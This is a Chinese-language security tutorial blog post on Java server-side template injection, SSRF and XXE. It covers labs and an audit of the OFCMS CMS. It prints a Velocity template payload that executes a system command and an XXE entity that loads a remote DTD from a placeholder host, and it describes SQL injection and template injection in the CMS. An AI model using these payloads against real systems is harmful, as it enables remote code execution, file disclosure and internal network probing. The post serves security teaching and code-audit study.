Java安全-SSTI+SSRF+XXE实战教学

admin 2024年9月19日01:39:55评论15 views字数 2715阅读9分3秒阅读模式

🌟 ❤️

作者:yueji0j1anke

首发于公号:剑客古月的安全屋

字数:1736

阅读时间:    15min

声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。合法渗透,本文章内容纯属虚构,如遇巧合,纯属意外

目录

  • 前言

  • SSTI

  • SSRF

  • XXE

  • 审计实战

  • 总结

0x01 前言

发现前面的java安全还有一系列框架没有搭建完,遂写下该文进行补充

每个漏洞都先配以靶场,最后是实战环节,有基础师傅可以直接跳过靶场看实战

1.基础介绍

ssti,全称服务器端模版注入漏洞,在java中常见的模版有freemaker、velocity、Thymeleaf,这些模版可以动态处理用户输入参数、行为等,帮助动态渲染html页面、view层,当模版未对用户输入的数据进行严格的过滤时,就会造成rce等危害

2.velocity靶场

如下图,就是一个标准的引用velocity模版进行渲染

Java安全-SSTI+SSRF+XXE实战教学

这个接口会根据template变量去对应获取模版中占位符并进行等价传递

如图所示

Java安全-SSTI+SSRF+XXE实战教学

我们可以控制template参数传入恶意的payload从而调用命令执行函数完成我们的攻击

传入payload

ssti/velocity?template=%23set($e=%22e%22);$e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec('calc')

Java安全-SSTI+SSRF+XXE实战教学

0x03 SSRF

1.基础介绍

ssrf,src常客了,是指站点提供了向其它站点或服务器读取资源的功能但未对该功能接口进行严格的限制,从而导致内网探针、文件读取等攻击行为出现

在java中,对应的敏感语句有

getinputstream
urlconnection
client.executeMethod
Request.Get(url).execute()
Request.Get
Request.Post
client.execute
urlConnection.getInputStream()
Jsoup.connect
okhttp.Request.Builder()
ImageIO.read
IOUtils.toByteArray

2.实战靶场

1.举报图片读取功能存在的ssrf

这是来自于之前白盒审计的一套论坛系统,在黑盒测试其举报功能点时顺藤摸瓜找到了其源码

Java安全-SSTI+SSRF+XXE实战教学

这套源码大致意思是

试下打dnslog

Java安全-SSTI+SSRF+XXE实战教学

成功

Java安全-SSTI+SSRF+XXE实战教学

0x04 XXE

1.基础介绍

这个在src挖掘中很少遇到,笔者在之前几次挖出过相关的0day,基本都是解析库相关的漏洞,这里还是给大家做个基本介绍。

xxe,全称xml实体注入,当服务器允许使用外部实体时,攻击者通过将恶意代码嵌入至xml中,使服务器解析恶意代码,从而造成的文件读取、命令执行等漏洞

xxe又分为外部实体注入和内部实体注入,dnslog外带就相当于一种外部实体注入

在java中,对应的敏感语词有

Documentbuilder
DocumentbuilderFactory
SAXReader
SAXParser
SAXParser
SAXParserFactory
SAXBuilder
TransformerFactory
reqXml
getinputStream
getoutputStream

2.靶场

以下代码为读取xlsx文件的控制器方法,但未用严格的过滤去进行迭代读取

Java安全-SSTI+SSRF+XXE实战教学

表格形式的payload构造如下

创建一个xlsx文件并将其后缀改为zip,打开压缩文件将第一层目录的xml文件中内容换成以下payload

<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://dnslog">
%remote;%int;%send;
]>
<root>&send</root>

然后重新改后缀为xlsx文件进行上传解析

Java安全-SSTI+SSRF+XXE实战教学

Java安全-SSTI+SSRF+XXE实战教学

0x05 审计实战

1.OFCMS

搭建参考这里

https://forum.butian.net/share/1229

后端技术栈涉及的还是之前我们教学的spring

Java安全-SSTI+SSRF+XXE实战教学

拿到源码还是首先看看依赖

spring+mysql+freemarker+shiro

Java安全-SSTI+SSRF+XXE实战教学

可能存在freemarker的相关模板注入或者shiro框架的相关漏洞

再看看拦截器

Java安全-SSTI+SSRF+XXE实战教学

这里直接找到了网站的配置信息,所有的过滤器都是用shiro框架,映射admin开头的url路径,同时还用到了druid工具,这里扩大了攻击面,说明后面测试可以看看是否有shiro反序列化以及druid未授权相关的漏洞

1.sql注入

这里没有mapper层,直接搜索关键字

insert
update
select
delete

在搜索了几个关键词之后,发现一处可疑的地方

Java安全-SSTI+SSRF+XXE实战教学

看起来像是直接获取了参数并执行sql语句,跟进看看

Java安全-SSTI+SSRF+XXE实战教学

Java安全-SSTI+SSRF+XXE实战教学

发现参数从传入到执行没有进行任何过滤,存在sql注入的可能性极大

寻找对应路由

Java安全-SSTI+SSRF+XXE实战教学

随便输入,出现报错,存在报错注入

Java安全-SSTI+SSRF+XXE实战教学

构造payload

Java安全-SSTI+SSRF+XXE实战教学

成功注入

2.SSTI模版注入

之前我们看到了freemarker依赖,现在直接找模版文件,看是否存在相关漏洞

搜索关键字template

Java安全-SSTI+SSRF+XXE实战教学

接受file_content参数并进行html解码,随后写入站点,并没有做过多过滤

找到相关模版路由

Java安全-SSTI+SSRF+XXE实战教学

打入payload

Java安全-SSTI+SSRF+XXE实战教学

随后访问index.html进行触发

Java安全-SSTI+SSRF+XXE实战教学

3.xxe

通过搜索关键字找到相关jrxml的文件解析

Java安全-SSTI+SSRF+XXE实战教学

大致是传递j参数值获取模版文件名并拼接,随后填充数据并转换导出xls文件,但在中间会执行compileReport该方法

追入看看是否有过滤

Java安全-SSTI+SSRF+XXE实战教学

一直追踪到这里

Java安全-SSTI+SSRF+XXE实战教学

看样子存在xxe的概率极高

在该目录创建文件,写入payload

Java安全-SSTI+SSRF+XXE实战教学

随后拼接路由

http://localhost:8080/ofcms-admin/admin/reprot/expReport.html?j=ggg

Java安全-SSTI+SSRF+XXE实战教学

成功

2.ssrf实战

对于ssrf,我基本还未在代码审计中直接遇到,大多数还是黑盒审计遇到的多,这里就直接给大家展示实战的案例了。

贴一张高清码飞图

Java安全-SSTI+SSRF+XXE实战教学

一个webhook功能点,可以当内网探针探测内网服务,笔者探测出存在redis服务就没有深追下去了...(刑)

0x06 总结

其实SSTI和SSRF与XXE相关漏洞,更多的还是功能点与源码匹配去测试。

很多时候相关的关键词有很多,一个一个找方法随后找对应路由很费力,不如直接配合功能点对应路由找寻源码看是否存在漏洞,并配合以黑盒测试。

本期就到这里了,后期将会推出许久未更的内存马系列(bushi

原文始发于微信公众号(剑客古月的安全屋):Java安全-SSTI+SSRF+XXE实战教学

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月19日01:39:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Java安全-SSTI+SSRF+XXE实战教学https://cn-sec.com/archives/3181177.html

发表评论

匿名网友 填写信息